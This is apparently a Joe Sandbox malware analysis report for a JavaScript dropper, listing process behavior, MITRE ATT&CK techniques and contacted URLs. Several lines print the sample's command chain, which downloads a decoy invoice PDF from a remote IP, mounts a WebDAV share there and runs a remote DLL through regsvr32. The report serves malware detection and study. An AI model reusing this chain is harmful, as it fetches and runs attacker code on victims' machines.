Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 6737			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 2821			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 764	Thread sleep count: 6737 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 764	Thread sleep count: 2821 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1460	Thread sleep time: -11990383647911201s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3864	Thread sleep time: -1844674407370954s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 4312	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 4416	Thread sleep time: -3689348814741908s >= -30000s	Jump to behavior
Source: C:\Windows\System32\net.exe TID: 6848	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 7680	Thread sleep time: -30000s >= -30000s	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: net.exe, 00000006.00000002.1848134681.000001D72DE91000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000003.1845904661.000001D72DE91000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW^*]
Source: net.exe, 00000006.00000002.1847777974.000001D72DE28000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW`V
Source: net.exe, 00000006.00000002.1848134681.000001D72DE91000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000003.1845904661.000001D72DE91000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000008.00000002.3080844840.0000023166058000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: svchost.exe, 00000008.00000002.3079690501.0000023160A2B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW`

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\163462321827713.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\163462321827713.dll
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\163462321827713.dll			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Gathers information about network shares

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\163462321827713.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\163462321827713.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	32 Scripting	Valid Accounts	1 Command and Scripting Interpreter	32 Scripting	11 Process Injection	11 Masquerading	OS Credential Dumping	1 Network Share Discovery	Remote Services	Data from Local System	Data Obfuscation	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Exploitation for Client Execution	1 DLL Side-Loading	1 DLL Side-Loading	31 Virtualization/Sandbox Evasion	LSASS Memory	11 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	Junk Data	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	2 PowerShell	Logon Script (Windows)	Logon Script (Windows)	11 Process Injection	Security Account Manager	1 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	Steganography	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	1 Obfuscated Files or Information	NTDS	31 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	Protocol Impersonation	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	Steganography	Cached Domain Credentials	1 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	22 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
251011677249918058.js	5%	Virustotal		Browse
251011677249918058.js	0%	ReversingLabs

Source	Detection	Scanner	Label
http://193.143.1.205:8888/n	0%	Avira URL Cloud	safe
http://193.143.1.205:8888/=T7	0%	Avira URL Cloud	safe
http://193.143.1.205:8888/YT	0%	Avira URL Cloud	safe
http://193.143.1.205:8888/sms	0%	Avira URL Cloud	safe

Name	Source	Malicious	Antivirus Detection	Reputation
https://g.live.com/odclientsettings/Prod.C:	edb.log.8.dr	false		high
http://193.143.1.205/invoice.php	wscript.exe, 00000000.00000002.1793624020.000002A301F2D000.00000004.00000020.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/	2D85F72862B55C4EADD9E66E06947F3D0.7.dr	false		high
http://193.143.1.205:8888/=T7	net.exe, 00000006.00000002.1847937828.000001D72DE63000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000003.1847015212.000001D72DE63000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://g.live.com/odclientsettings/ProdV2	edb.log.8.dr	false		high
https://g.live.com/odclientsettings/ProdV2?OneDriveUpdate=f359a5df14f97b6802371976c96	svchost.exe, 00000008.00000003.1855279777.0000023165F32000.00000004.00000800.00020000.00000000.sdmp, edb.log.8.dr	false		high
http://193.143.1.205:8888/n	net.exe, 00000006.00000002.1847937828.000001D72DE63000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000003.1847015212.000001D72DE63000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://crl.ver)	svchost.exe, 00000008.00000002.3080750578.0000023166000000.00000004.00000020.00020000.00000000.sdmp	false		high
https://g.live.com/odclientsettings/ProdV2.C:	edb.log.8.dr	false		high
http://193.143.1.205:8888/	net.exe, 00000006.00000002.1847937828.000001D72DE63000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000003.1847015212.000001D72DE63000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000002.1847777974.000001D72DE28000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000003.1847015212.000001D72DE4C000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000002.1847937828.000001D72DE4C000.00000004.00000020.00020000.00000000.sdmp	false		high
http://193.143.1.205:8888/YT	net.exe, 00000006.00000002.1847937828.000001D72DE63000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000003.1847015212.000001D72DE63000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://g.live.com/1rewlive5skydrive/OneDriveProductionV2?OneDriveUpdate=9c123752e31a927b78dc96231b6	svchost.exe, 00000008.00000003.1855279777.0000023165F32000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.8.dr, edb.log.8.dr	false		high
http://193.143.1.205:8888/sms	net.exe, 00000006.00000002.1847777974.000001D72DE28000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
193.143.1.205	unknown	unknown		57271	BITWEB-ASRU	true

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1587577
Start date and time:	2025-01-10 15:05:59 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 8s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	16
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled GSI enabled (Javascript) AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	251011677249918058.js
Detection:	MAL
Classification:	mal100.rans.spyw.expl.evad.winJS@27/43@0/2
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .js

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, WMIADAP.exe, SIHClient.exe, conhost.exe
Excluded IPs from analysis (whitelisted): 184.28.88.176, 52.22.41.97, 52.6.155.20, 3.233.129.217, 3.219.243.226, 2.16.168.107, 2.16.168.105, 172.64.41.3, 162.159.61.3, 184.28.90.27, 23.209.209.135, 2.22.242.11, 2.22.242.123, 23.204.152.210, 23.204.152.213, 192.168.2.4, 20.12.23.50, 104.126.112.182, 13.107.246.45
Excluded domains from analysis (whitelisted): e4578.dscg.akamaiedge.net, chrome.cloudflare-dns.com, fs.microsoft.com, e8652.dscx.akamaiedge.net, slscr.update.microsoft.com, otelrules.azureedge.net, acroipm2.adobe.com.edgesuite.net, ctldl.windowsupdate.com, p13n.adobe.io, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, acroipm2.adobe.com, fe3cr.delivery.mp.microsoft.com, ocsp.digicert.com, armmf.adobe.com, ssl-delivery.adobe.com.edgekey.net, a122.dscd.akamai.net, e16604.g.akamaiedge.net, geo2.adobe.com, prod.fs.microsoft.com.akadns.net, crl.root-x1.letsencrypt.org.edgekey.net
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtCreateKey calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.

Simulations

Behavior and APIs

Time	Type	Description
09:07:04	API Interceptor	22x Sleep call for process: powershell.exe modified
09:07:08	API Interceptor	1x Sleep call for process: net.exe modified
09:07:09	API Interceptor	2x Sleep call for process: svchost.exe modified
09:07:21	API Interceptor	1x Sleep call for process: AcroCEF.exe modified

Joe Sandbox View / Context

IPs

